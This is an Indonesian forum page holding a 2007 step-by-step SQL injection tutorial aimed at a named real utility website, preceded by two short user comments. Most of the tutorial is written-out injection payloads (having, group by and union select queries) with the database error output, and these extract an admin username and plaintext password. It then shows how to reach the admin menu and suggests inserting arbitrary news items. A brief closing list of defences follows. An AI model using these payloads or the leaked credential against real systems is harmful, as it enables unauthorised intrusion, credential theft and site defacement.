Good job :Dwalau dibilang pemalas tapi tools ini bakal membuat newbie hacker agak sedikit bersemangat maklum banyak yang suka jalan pintas
btw ni soft buat apa yah maklum gaptek
SQL injection is a code injection technique that exploits a security vulnerability occurring in the database layer of an application. The vulnerability is present when user input is either incorrectly filtered for string literal escape characters embedded in SQL statements or user input is not strongly typed and thereby unexpectedly executed. It is an instance of a more general class of vulnerabilities that can occur whenever one programming or scripting language is embedded inside another. SQL injection attacks are also known as SQL insertion attacks
SQL Injection, step by stepBy D-andPublished: April 25, 2007/********************************************************* * SQL Injection, step by step. * * No Warranty. This tutorial is for educational use only, * commercial use is prohibited. * **********************************************************/Akhir-akhir ini, anda sering mendengar istilah "SQL Injection" ?Anda tahu betapa berbahaya bug yang satu ini ?Berikut akan kita sajikan step by step SQL Injection ini.Catatan : kita akan membatasi bahasan pada SQL Injectiondi MS-SQL Server.Kita akan mengambil contoh di site www.pln-wilkaltim.co.idAda dua kelemahan di site ini, yaitu:1. Tabel News2. Tabel AdminLangkah pertama, kita tentukan lubang mana yang bisa di-injectdengan jalan berjalan-jalan (enumeration) dulu di site tsb.Kita akan menemukan 2 model cara input parameter, yaitu dengancara memasukkan lewat input box dan memasukkannya lewatalamat URL.Kita ambil yang termudah dulu, dengan cara input box.Kemudian kita cari kotak login yang untuk admin.Ketemu di www.pln-wilkaltim.co.id/sipm/admin/admin.aspLangkah pertama untuk menentukan nama tabel dan fieldnya,kita inject kotak NIP dengan perintah (password terserah, cabangbiarkan aja):' having 1=1--jangan lupa untuk menuliskan tanda kutip tunggal dan tandaminus dobel (penting).Arti kedua tanda tsb bisa anda cari di tutorial SQL Injectiondi www.neoteker.or.id ini (lihat arsip sebelumnya).Kemudian akan keluar pesan error:--------------------Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)[Microsoft][ODBC SQL Server Driver][SQL Server]Column'T_ADMIN.NOMOR' is invalid in the select list becauseit is not contained in an aggregate function andthere is no GROUP BY clause./sipm/admin/dologin.asp, line 7--------------------Keluarlah nama field pertama kita !!!Catat nama tabel : T_ADMINCatat nama field : NOMORKemudian kita akan mencari nama field-field berikutnya,beserta nama tabel yang mungkin berbeda-beda.Kita inject di kotak NIP (password terserah):' group by T_ADMIN.NOMOR having 1=1--Akan keluar pesan error:--------------------Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)[Microsoft][ODBC SQL Server Driver][SQL Server]Column'T_ADMIN.NIP' is invalid in the select list becauseit is not contained in either an aggregatefunction or the GROUP BY clause./sipm/admin/dologin.asp, line 7--------------------Artinya itulah nama tabel dan field kedua kita.Catat : T_ADMIN.NIPKemudian kita cari field ke tiga :' group by T_ADMIN.NOMOR,T_ADMIN.NIP having 1=1--Akan keluar pesan error:--------------------Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)[Microsoft][ODBC SQL Server Driver][SQL Server]Column'T_ADMIN.PASSWORD' is invalid in the select list becauseit is not contained in either an aggregatefunction or the GROUP BY clause./sipm/admin/dologin.asp, line 7--------------------Catat field ke tiga : T_ADMIN.PASSWORDLakukan langkah di atas sampai kita menemukan field terakhir.Berikut adalah pesan error yang terjadi, jika kita mengecekfield terakhir dengan meng-inject:' group by T_ADMIN.NOMOR,T_ADMIN.NIP,T_ADMIN.PASSWORD,T_ADMIN.NAMA,T_ADMIN.KD_RANTING,T_ADMIN.ADDRESS,T_ADMIN.EMAILhaving 1=1--(catatan : kalimat harus 1 baris, tidak dipotong)--------------------- NIP atau Password atau Unit Anda salah !! ---------------------Sukses !!! Kita berhasil menemukan field terakhir.Daftar kolom (field):T_ADMIN.NOMORT_ADMIN.NIPT_ADMIN.PASSWORDT_ADMIN.NAMAT_ADMIN.KD_RANTINGT_ADMIN.ADDRESST_ADMIN.EMAILHanya ada satu tabel untuk otentifikasi ini (yaitu T_ADMIN),ini akan mempermudah proses kita selanjutnya.Langkah berikutnya, kita menentukan jenis struktur field-field tersebut di atas.Kita inject di kotak NIP (pass terserah) :' union select sum(NOMOR) from T_ADMIN--Arti dari query tersebut adalah : kita coba menerapkanklausa sum sebelum menentukan apakah jumlah kolom-kolomdi dua rowsets adalah sejenis.Bahasa mudahnya adalah kita memasukkan klausa sum (jumlah)yang berlaku untuk type kolom numerik, jadi untuk type kolomyang bukan numerik, akan keluar error yang bisa memberitahukita jenis kolom yang dimaksud.Pesan error :--------------------Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)[Microsoft][ODBC SQL Server Driver][SQL Server]All queriesin an SQL statement containing a UNION operator must havean equal number of expressions in their target lists./sipm/admin/dologin.asp, line 7--------------------artinya kolom NOMOR berjenis numerik.Berikutnya kita inject :' union select sum(NIP) from T_ADMIN--Akan keluar pesan error :--------------------Microsoft OLE DB Provider for ODBC Drivers (0x80040E07)[Microsoft][ODBC SQL Server Driver][SQL Server]The sumor average aggregate operation cannot take a char datatype as an argument./sipm/admin/dologin.asp, line 7--------------------Artinya kolom NIP bertype char.Kita harus mengulang perintah di atas untuk kolom yangberikutnya dengan jalan mengganti nama_kolom di :' union select sum(nama_kolom) from T_ADMIN--dengan kolom yang berikutnya.Kita peroleh 7 type kolom:T_ADMIN.NOMOR => numericT_ADMIN.NIP => charT_ADMIN.PASSWORD => nvarcharT_ADMIN.NAMA => charT_ADMIN.KD_RANTING => charT_ADMIN.ADDRESS => nvarcharT_ADMIN.EMAIL => charLangkah berikutnya, kita akan mencari isi kolom password,untuk user admin, dengan meng-inject :' union select min(NAMA),1,1,1,1,1,1 from T_ADMIN where NAMA > 'a'--artinya kita memilih minimum nama user yang lebih besar dari 'a'dan mencoba meng-konvert-nya ke tipe integer.Arti angka 1 sebanyak 6 kali itu adalah bahwa kita hanya memilihkolom NAMA, dan mengabaikan 6 kolom yang lain.Akan keluar pesan error :--------------------Microsoft OLE DB Provider for ODBC Drivers (0x80040E07)[Microsoft][ODBC SQL Server Driver][SQL Server]Syntaxerror converting the varchar value 'bill ' toa column of data type int./sipm/admin/dologin.asp, line 7--------------------Anda lihat :varchar value 'bill ''bill' itu adalah nama user di record yang terakhir dimasukkan,atau isi kolom NAMA di record yang terakhir dimasukkan.Selanjutnya kita inject :' union select min(PASSWORD),1,1,1,1,1,1 from T_ADMIN whereNAMA = 'bill'--catatan : harus sebaris (tidak dipotong).Akan keluar error :---------------------Microsoft OLE DB Provider for ODBC Drivers (0x80040E07)[Microsoft][ODBC SQL Server Driver][SQL Server]Syntaxerror converting the nvarchar value 'm@mpusk@u' to acolumn of data type int./sipm/admin/dologin.asp, line 7---------------------Artinya kita berhasil !!!Kita dapatkan NAMA = bill PASSWORD = m@mpusk@uSilahkan login ke : www.pln-wilkaltim.co.id/sipm/admin/admin.aspdengan account di atas, sedang nama cabang, silahkan andaisi sendiri dengan cara coba-cobaAtau kita pakai jalan pintas saja....Kita inject-kan :' union select min(KD_RANTING),1,1,1,1,1,1 from T_ADMINwhere NAMA ='bill'--catatan : harus satu baris.Duarrrrrr..........Glhodhak.............Langsung masuk ke menu admin.Ingat : jangan buat kerusakan ! beritahu sang admin !!!Lubang ke dua adalah pada bagian berita.Pada dasarnya berita di situ adalah isi dari tabel yanglain lagi. Jadi tetep bisa kita inject !!!Bedanya, kita harus memasukkan parameter di alamat URL-nya.Contoh : www.pln-wilkaltim.co.id/dari_Media.asp?id=2119&idm=40&idSM=2ada parameter id dan idSM.Setelah kita coba inject, ternyata yang berpengaruh adalahparameter id aja (CMIIW).Kita inject-kan : www.pln-wilkaltim.co.id/dari_Media.asp?id=2119' having 1=1--akan keluar pesan error :---------------------------Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)[Microsoft][ODBC SQL Server Driver][SQL Server]Column'tb_news.NewsId' is invalid in the select list becauseit is not contained in an aggregate function andthere is no GROUP BY clause./dari_Media.asp, line 58---------------------------artinya 'tb_news.NewsId' itulah nama tabel dan kolom kitayang pertama.Ulangi langkah-langkah kita di atas sampai didapatkan :tb_news.NewsId => numerictb_news.NewsCatId => numerictb_news.EntryDate => datetimetb_news.Title => nvarchartb_news.Content =>tb_news.FotoLink =>tb_news.FotoType => bit datatb_news.review =>tb_news.sumber => chartb_news.dateagenda => datetimeNah, selanjutnya adalah tugas anda sendiri untuk mengembangkanpengetahuan anda.Anda bisa men-insert berita yang bisa anda tentukan sendiriisinya.Inilah mengapa hole di MS-SQL Server ini demikian berbahaya.Perkiraan saya, nama-nama partai di situs KPU yang di-hackoleh Shizoprenic, juga ada di tabel-tabel suatu database,jadi tetep bisa dimasuki dengan cara SQL Injection ini.******************************************************KHUSUS BUAT ADMIN & WEB PROGRAMMER !!!******************************************************Cara pencegahan yang umum digunakan :1. Batasi panjang input box (jika memungkinkan), dengancara membatasinya di kode program, jadi si cracker pemulaakan bingung sejenak melihat input box nya gak bisa diinject dengan perintah yang panjang.2. Filter input yang dimasukkan oleh user, terutama penggunaantanda kutip tunggal (Input Validation).3. Matikan atau sembunyikan pesan-pesan error yang keluardari SQL Server yang berjalan.4. Matikan fasilitas-fasilitas standar seperti Stored Procedures,Extended Stored Procedures jika memungkinkan.5. Ubah "Startup and run SQL Server" menggunakan low privilege userdi SQL Server Security tab.Yah itulah mungkin yang dapat saya ceritakan.....Hal itu adalah gambaran, betapa tidak amannya dunia internet...Kalau mau lebih aman, copot kabel jaringan anda, copot diskdrive anda, copot harddisk anda, jual kompie anda !!!Just kidding )Referensi : sqlinjection, www.BlackAngels.it anvanced sql injection in sql server applications( www.ngssoftware.com) sql injection walktrough ( www.securiteam.com)